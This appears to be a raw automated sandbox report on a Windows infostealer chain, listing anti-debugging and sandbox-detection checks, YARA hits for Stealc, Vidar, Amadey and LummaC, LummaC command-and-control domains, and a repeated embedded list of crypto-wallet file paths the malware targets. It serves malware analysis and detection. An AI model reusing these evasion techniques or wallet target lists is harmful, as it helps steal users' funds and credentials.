Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsKKEHIEBKJK.exe

Code function: 21_2_04DF0623 rdtsc

21_2_04DF0623

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAC5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CAC5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CA63480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_004F652B mov eax, dword ptr fs:[00000030h]		28_2_004F652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_004FA302 mov eax, dword ptr fs:[00000030h]		28_2_004FA302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CA9B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CA9B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7664, type: MEMORYSTR

LummaC encrypted strings found

Source: 7255bf1ad0.exe, 0000001E.00000002.2695543910.0000000000581000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: 7255bf1ad0.exe, 0000001E.00000002.2695543910.0000000000581000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: 7255bf1ad0.exe, 0000001E.00000002.2695543910.0000000000581000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: peepburry828.sbs
Source: 7255bf1ad0.exe, 0000001E.00000002.2695543910.0000000000581000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: p10tgrace.sbs
Source: 7255bf1ad0.exe, 0000001E.00000002.2695543910.0000000000581000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKKEHIEBKJK.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsKKEHIEBKJK.exe "C:\Users\user\DocumentsKKEHIEBKJK.exe"
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe "C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe "C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe"

Source: file.exe, file.exe, 00000000.00000002.1833570412.00000000007F7000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: fP!#Program Manager
Source: file.exe, 00000000.00000002.1833570412.00000000007F7000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ofP!#Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA9B341 cpuid

0_2_6CA9B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA635A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CA635A0

Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 21.2.DocumentsKKEHIEBKJK.exe.500000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.skotes.exe.4c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.skotes.exe.4c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.skotes.exe.4c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000002.2696581800.00000000004C1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.1912444151.00000000004C1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1920549597.0000000000501000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.1872119711.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1941600584.00000000004C1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2495420970.0000000004820000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.1900819515.00000000049A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.1833240740.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.1451214684.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1834499760.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1833210482.0000000000431000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7664, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7664, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia 